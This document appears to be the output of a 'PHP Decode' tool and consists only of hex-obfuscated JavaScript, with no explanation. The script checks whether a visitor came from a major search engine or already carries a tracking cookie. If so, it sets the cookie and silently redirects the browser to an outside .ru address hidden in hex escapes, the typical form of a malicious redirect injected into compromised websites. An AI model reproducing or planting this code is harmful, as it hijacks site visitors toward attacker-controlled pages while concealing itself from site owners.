PHP Decode

function setCookie(name,value,expires,path,domain,secure){if(!name||  !value){return false};var str=name+ "\x3D"+ encodeURIComponent(value);if(expires){str+= "\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D"+ expires["\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67"]()};if(path){str+= "\x3B\x20\x70\x61\x74\x68\x3D"+ path};if(domain){str+= "\x3B\x20\x64\x6F\x6D\x61\x69\x6E\x3D"+ domain};if(secure){str+= "\x3B\x20\x73\x65\x63\x75\x72\x65"};document["\x63\x6F\x6F\x6B\x69\x65"]= str;return true}function getCookie(name){var pattern="\x28\x3F\x3A\x3B\x20\x29\x3F"+ name+ "\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29\x3B\x3F";var regexp= new RegExp(pattern);if(regexp["\x74\x65\x73\x74"](document["\x63\x6F\x6F\x6B\x69\x65"])){return decodeURIComponent(RegExp["\x24\x31"])};return false}function deleteCookie(name,path,domain){setCookie(name,null, new Date(0),path,domain);return true}sp_redirect= {};sp_redirect["\x73\x65\x61\x72\x63\x68\x65\x72\x73"]= [[/google\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/search\.yahoo\./i,/(\?|&)p=(.*?)(&|$)/i,2],[/bing\.com/i,/(\?|&)q=(.*?)(&|$)/i,2],[/search\.aol\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/ask\.com/i,/(\?|&)q=(.*?)(&|$)/i,2],[/altavista\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/search\.lycos\./i,/(\?|&)query=(.*?)(&|$)/i,2],[/alltheweb\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/yandex\./i,/(\?|&)text=(.*?)(&|$)/i,2],[/(nova\.|search\.)?rambler\./i,/(\?|&)query=(.*?)(&|$)/i,2],[/gogo\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/go\.mail\./i,/(\?|&)q=(.*?)(&|$)/i,2],[/nigma\./i,/(\?|&)s=(.*?)(&|$)/i,2]];sp_redirect["\x73\x70\x5F\x72\x65\x64\x69\x72\x65\x63\x74"]= function(referer){var query=null;for(var i=0;i< sp_redirect["\x73\x65\x61\x72\x63\x68\x65\x72\x73"]["\x6C\x65\x6E\x67\x74\x68"];i++){var se=sp_redirect["\x73\x65\x61\x72\x63\x68\x65\x72\x73"][i];if(referer["\x6D\x61\x74\x63\x68"](se[0])|| getCookie("\x6F\x70\x6F\x73")== "\x31"){setCookie("\x6F\x70\x6F\x73","\x31");document["\x6C\x6F\x63\x61\x74\x69\x6F\x6E"]["\x68\x72\x65\x66"]= ("\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x69\x7A\x6D\x2E\x72\x75\x2F\x39\x32\x42\x4C");break}}};sp_redirect["\x73\x70\x5F\x72\x65\x64\x69\x72\x65\x63\x74"](document["\x72\x65\x66\x65\x72\x72\x65\x72"])